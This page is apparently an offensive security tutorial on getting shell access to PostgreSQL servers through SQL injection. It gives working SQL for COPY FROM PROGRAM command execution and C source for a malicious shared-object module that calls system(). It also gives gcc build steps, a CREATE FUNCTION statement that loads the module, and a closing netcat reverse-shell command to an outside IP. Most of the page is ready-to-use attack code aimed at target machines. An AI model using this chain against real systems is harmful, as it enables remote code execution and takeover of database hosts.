Skip to content

Executing shell commands in postgres through SQL Injection

Most databases offer some command that allows the database superuser to run shell commands as the OS user that the database is running under. For example, in linux, postgres often runs under the postgres user.

Postgres is a little bit special however, such a command has only existed since version 9.3 (and is enabled by default for versions 9.3 to 11.2). This page will quickly cover the command itself, but more importantly will document a (somewhat complex) alternative in case this command is not available. This can be done by crafting a malicious DLL extension for postgres, uploading it using SQL injection, and loading it as a module also through SQL injection.

The Command

Using the built in command (if it is available) is extremely straightforward:

  1. Create the table you want to hold the command output
CREATE TABLE my_evil_table(cmd_output text);
  1. Run the shell command via the COPY FROM PROGRAM function
COPY my_evil_table FROM PROGRAM ‘id’;
  1. Display the output
SELECT * FROM my_evil_table;
  1. Clean up
DROP TABLE IF EXISTS my_evil_table;

The Malicious DLL

This method will be substantially more complex. We will follow this process:

  • Compile the malicious DLL
  • Upload the malicious DLL
  • Load the DLL as a postgres module
  • Execute a shell command through our malicous module

Compile the DLL

First we need to install the same major version (or very similar) version of postgres as is installed on the target machine. Remember that if you have SQL injection, you should be able to easily extract the postgres version number.

# Major version: x.x.y.y.y.y => first two digits
# Altough sometimes it just works (11.5 works for 11.4)
# Install the correct version!
apt install postgresql postgresql-server-dev-9.6

We create the code for our evil module (pg_exec.c):

#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
    char* command = PG_GETARG_CSTRING(0);
    PG_RETURN_INT32(system(command));
}

And compile it using GCC. Note that we need to include pg_config of our development postgres server (which we just installed).

gcc -I$(/usr/local/pgsql/bin/pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c

This will give us the shared object pg_exec.so. Which is the malicious module we need to upload to the postgres server.

Upload the malicious DLL

The next step is to upload the malicous DLL to the target machine. This can be done in various ways.

  • Pure SQLI: Using postgres large_objects
  • Using a network mount (Host the DLL on a samba share)
  • Using any other file upload functionality of the target.

Using large objects will be discussed on another nugget on this page. It deserves a small page of its own. Please have a look at the sidebar for that topic.

Loading the malicious module.

Once we have uploaded our malicous DLL to the target machine, we need to load it. This can be done using the following command. Take care to point to the location of your uploaded module.

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT;

Running shell commands

We can now use our new exec function to run shell commands on the system:

SELECT sys('nc -e /bin/sh 10.0.0.1 4444');